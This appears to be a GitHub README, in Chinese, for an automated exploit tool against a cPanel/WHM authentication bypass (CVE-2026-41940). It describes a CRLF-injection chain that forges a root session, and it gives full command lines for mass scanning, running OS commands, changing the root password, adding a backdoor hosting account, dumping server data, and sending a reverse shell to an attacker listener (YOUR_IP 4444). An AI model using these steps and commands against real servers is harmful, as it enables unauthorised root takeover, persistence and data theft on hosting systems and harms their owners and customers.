Christian93111/CVE-2026-41940

GitHub: Christian93111/CVE-2026-41940

一个针对 cPanel/WHM 认证绕过零日漏洞(CVE-2026-41940)的自动化利用工具,支持通过 CRLF 注入获取 root 权限及执行后渗透操作。

Stars: 1 | Forks: 0

# CVE-2026-41940: cPanel/WHM 认证绕过(单目标与多目标) ## 概述 `exploit.py` 是一个演示 cPanel & WHM 中认证绕过漏洞 (CVE-2026-41940) 的脚本。该漏洞允许未经身份验证的攻击者通过 CRLF 注入缺陷将 root 会话注入到 daemon 缓存中,最终在无需有效凭证的情况下获得 root 级别的 WHM 访问权限。 ## 漏洞分析与利用流程 该漏洞利用通过结合 Basic Authentication 处理机制中的 CRLF(回车换行)注入漏洞和会话传播缺陷来实现。该脚本分四个阶段自动执行攻击: 1. **Pre-Auth Session Minting:** 连接到公共登录端点(例如,`/login/` 或 `/cgi/login.cgi`)以获取基线未经身份验证的会话 cookie(`whostmgrsession`)。 2. **CRLF Injection:** 发送包含 Base64 编码载荷的特制 Basic Authentication 请求头,将 root 会话字段直接注入到 `cpsrvd` 会话缓存中。服务器的重定向响应会泄露生成的安全令牌(`cpsess`)。 3. **Session Propagation:** 将原始会话 cookie 发送到经过身份验证的 WHM 端点,触发 `do_token_denied` 将伪造的会话传播到 daemon 缓存中——使其成为有效的经过身份验证的会话。 4. **Verification:** 使用伪造的会话访问受限制的 WHM API 端点(例如,`/json-api/version`)以确认 root 级别的访问权限。 ## 前置条件 - Python 3.x - `requests` 库 ``` pip install requests ``` ## 用法 ``` python exploit.py --target [options] python exploit.py --target-file [options] ``` ## 参数 ### 目标选择 | 参数 | 描述 | |----------|-------------| | `--target URL` | 单个 WHM URL(例如,`https://target:2087`) | | `--target-file FILE` | 包含目标列表的文件(每行一个 `ip:port`) — 自动启用检查模式 | ### 网络与核心选项 | 参数 | 描述 | |----------|-------------| | `--threads N` | 多目标模式下的并发线程数(默认:10) | | `--hostname HOST` | 覆盖 Host 请求头 — 在自动发现失败或提供错误主机名时使用 | | `--timeout N` | 单次请求的超时时间(秒)(默认:15) | | `--retries N` | 网络错误时的重试次数(默认:3) | | `--cookie-name NAME` | 强制指定特定的会话 cookie 名称(如果省略则自动检测) | | `--no-verify` | 跳过阶段 4 验证并继续执行 | ### 漏洞利用选项(绕过后) | 参数 | 描述 | |----------|-------------| | `--check` | 仅检查模式 — 验证漏洞而不进行利用(使用 `--target-file` 时自动设置) | | `--password PASS` | 将 root 密码更改为 PASS | | `--api FUNC` | 调用特定的 WHM JSON-API 函数 | | `--api-params K=V,...` | 用于 `--api` 的逗号分隔参数 | | `--exec CMD` | 通过 WHM `scripts/run_script` 执行 OS 命令(回退方案:`rawexec`) | | `--session` | 生成 root 一键登录 URL — **请立即打开,令牌很快过期** | | `--shell` | 进入交互式 WHM shell(仅限单目标) | | `--dump` | 转储服务器信息:版本、账户、DNS 区域、权限 | | `--add-user USER PASS DOMAIN` | 创建一个新的 cPanel 托管账户 | | `--revshell LHOST LPORT` | 向您的监听器发送 bash 反向 shell | ### 输出选项 | 参数 | 描述 | |----------|-------------| | `--output FILE` | 将会话令牌和详细信息保存到 JSON 文件 | ## 示例 ``` # 检查目标是否存在漏洞 python exploit.py --target https://target:2087 --check # Dump 服务器信息(版本、账户、权限) python exploit.py --target https://target:2087 --dump # 生成一键 root 登录 URL(立即粘贴到浏览器中) python exploit.py --target https://target:2087 --session # 执行命令 python exploit.py --target https://target:2087 --exec "id" # 进入交互式 WHM shell python exploit.py --target https://target:2087 --shell # 更改 root 密码 python exploit.py --target https://target:2087 --password 'NewP@ss!' # 直接调用 WHM API python exploit.py --target https://target:2087 --api version python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1 # 创建后门 cPanel 账户 python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com # 发送 reverse shell python exploit.py --target https://target:2087 --revshell YOUR_IP 4444 # 覆盖主机名(在自动发现失败时使用) python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check # 扫描多个目标(仅检查模式) python exploit.py --target-file ips.txt python exploit.py --target-file ips.txt --threads 20 # 将会话保存到文件 python exploit.py --target https://target:2087 --dump --output results.json ``` ## 交互式 Shell 命令 使用 `--shell` 时,可以使用以下命令: | 命令 | 描述 | |---------|-------------| | `api [k=v ...]` | 调用 WHM JSON-API 函数(例如,`api version`) | | `exec ` | 通过 WHM 运行 OS 命令(例如,`exec id`) | | `passwd ` | 更改 root 密码 | | `dump` | 转储服务器信息 | | `revshell ` | 发送反向 shell | | `add ` | 创建 cPanel 账户 | | `save ` | 将当前会话保存到文件 | | `exit` / `quit` | 退出 shell | ## 提醒 请立即应用最新的 cPanel/WHM 安全补丁。
标签:0day, Base64编码, CISA项目, cPanel, CRLF注入, CVE-2026-41940, HTTP响应拆分, PoC, Python, Root提权, Web安全, WHM, 主机控制面板, 会话伪造, 会话固定, 数据展示, 无后门, 无服务器架构, 暴力破解, 未授权访问, 红队, 网络安全, 自动化攻击脚本, 蓝队分析, 身份验证绕过, 逆向工具, 隐私保护, 零日漏洞